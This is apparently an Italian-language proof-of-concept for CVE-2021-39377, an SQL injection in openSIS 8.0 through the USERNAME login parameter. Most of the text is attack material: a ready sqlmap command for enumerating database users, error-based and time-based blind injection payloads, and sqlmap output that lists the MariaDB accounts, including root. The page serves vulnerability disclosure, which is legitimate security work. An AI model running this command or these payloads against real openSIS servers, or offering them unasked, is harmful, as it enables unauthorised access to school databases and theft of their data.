security-n/cve-2021-39377Proof-of-concept per CVE-2021-39377, una vulnerabilità di SQL injection in openSIS 8.0 tramite il parametro username, che consente il controllo del database attraverso attacchi error-based e time-based blind.
Una vulnerabilità di iniezione SQL esiste nella versione 8.0 di openSIS quando MySQL (MariaDB) viene utilizzato come database dell'applicazione. Un attaccante malintenzionato può inviare comandi SQL al database MySQL (MariaDB) attraverso il parametro vulnerabile username=.
Pagina PHP vulnerabile:
index.php - parametro username
Payload vulnerabile
sqlmap "http://localhost:8081/index.php" --users --data="USERNAME=admin&PASSWORD=test1234%21&language=en&log=" --dbms="MySQL" --level=3 --risk=2
Iniezione SQL:
http://localhost:8081/index.php
Parameter: USERNAME (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: USERNAME=admin') AND (SELECT 4391 FROM(SELECT COUNT(*),CONCAT(0x71716b7071,(SELECT (ELT(4391=4391,1))),0x716b717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IzoO&PASSWORD=test1234!&language=en&log=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: USERNAME=admin') AND (SELECT 2137 FROM (SELECT(SLEEP(5)))BwzJ)-- sbsL&PASSWORD=test1234!&language=en&log=
[22:35:47] [INFO] testing MySQL
[22:35:47] [INFO] confirming MySQL
[22:35:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[22:35:47] [INFO] fetching database users
database management system users [3]:
[*] 'mariadb.sys'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'localhost'
Scoperto da Nathan Johnson, Agosto 2021